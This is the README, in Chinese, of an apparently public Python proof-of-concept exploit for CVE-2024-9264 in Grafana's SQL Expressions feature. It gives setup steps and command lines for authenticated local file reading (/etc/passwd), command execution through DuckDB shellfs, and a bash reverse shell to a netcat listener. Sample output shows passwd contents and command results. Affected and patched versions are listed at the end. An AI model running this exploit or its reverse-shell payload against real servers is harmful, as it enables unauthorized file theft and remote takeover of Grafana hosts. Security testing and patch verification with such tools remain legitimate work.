CVE-2024-9264 的 Python 概念验证(PoC)。该漏洞存在于 Grafana SQL Expressions 中,当 Grafana 进程的 PATH 中存在 duckdb 时,经过身份验证的攻击者可利用它进行本地文件包含和命令执行。
仅供授权测试和研究使用。请勿对你不拥有或未经明确许可的系统使用。
authenticated Grafana API access -> SQL Expressions DuckDB query -> file read -> optional shellfs command execution
read_blob() 读取文件。如果请求命令执行,会先使用 /etc/passwd 作为默认验证文件。shellfs,并通过基于管道(pipe)的 read_csv() 调用执行命令。/tmp/cve_2024_9264_out 读取命令输出,并打印解码后的结果。易受攻击的端点可直接通过 API 调用,无需仪表盘 UI 交互,但仍需身份验证。



git clone https://github.com/ozcanpng/CVE-2024-9264.git
cd CVE-2024-9264
python3 -m pip install -r requirements.txt
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd
单独使用 --file 时,脚本会直接读取该文件,并在文件读取结果部分打印解码后的内容。
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id
脚本会先执行一次默认的 /etc/passwd 文件读取验证,然后投递命令载荷。在结果部分会打印解码后的命令输出,而不是原始 Grafana JSON 响应。
启动监听:
rlwrap nc -lvnp 4444
发送反弹 Shell 载荷:
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug
以下选项基于当前脚本的命令行界面(CLI):
-u, --url, --target TARGET
Target URL, e.g. http://localhost:3000
--username USERNAME Grafana username. Default: admin
--password PASSWORD Grafana password. Default: admin
--file FILE File path to read. Default proof path: /etc/passwd
--expected-marker MARKER
Marker expected in file read response. Default: root:
--cmd CMD Command to execute through the DuckDB shellfs path
--reverse-shell Run a bash reverse shell payload
--lhost LHOST Listener host for --reverse-shell
--lport LPORT Listener port for --reverse-shell
--timeout TIMEOUT HTTP timeout in seconds. Default: 20
--verify-tls Verify TLS certificates. Default: enabled
-k, --insecure Disable TLS certificate verification
--dry-run Print target and payload metadata without sending requests
--debug Print request debugging metadata
[STEP 2] File Read Result
--------------------------------------------------------------------
[*] File path : /etc/passwd
[*] HTTP status : 200
[+] File content read successfully.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
grafana:x:472:0::/home/grafana:/usr/sbin/nologin
[STEP 4] Result
--------------------------------------------------------------------
[*] HTTP status : 200
[+] Payload accepted by Grafana.
uid=472(grafana) gid=0(root) groups=0(root)
| 产品 | 受影响版本 | 所需权限 | 影响 |
|---|---|---|---|
| Grafana OSS / Enterprise | 已修复安全版本发布之前的 Grafana 11.0.x、11.1.x 和 11.2.x | Viewer 或更高权限 | 当 DuckDB 位于 Grafana 的 PATH 中时,可导致本地文件包含和命令注入 |
Grafana 指出,利用此漏洞要求 Grafana 进程的 PATH 中存在 duckdb 二进制文件;正常发布的 Grafana 默认不会安装 DuckDB。
shellfs 扩展的行为。-k 或 --insecure。11.0.5+security-01、11.1.6+security-01、11.2.1+security-01、11.0.6+security-01、11.1.7+security-01 和 11.2.2+security-01。ozcanpng - github.com/ozcanpng - ozcanpng.dev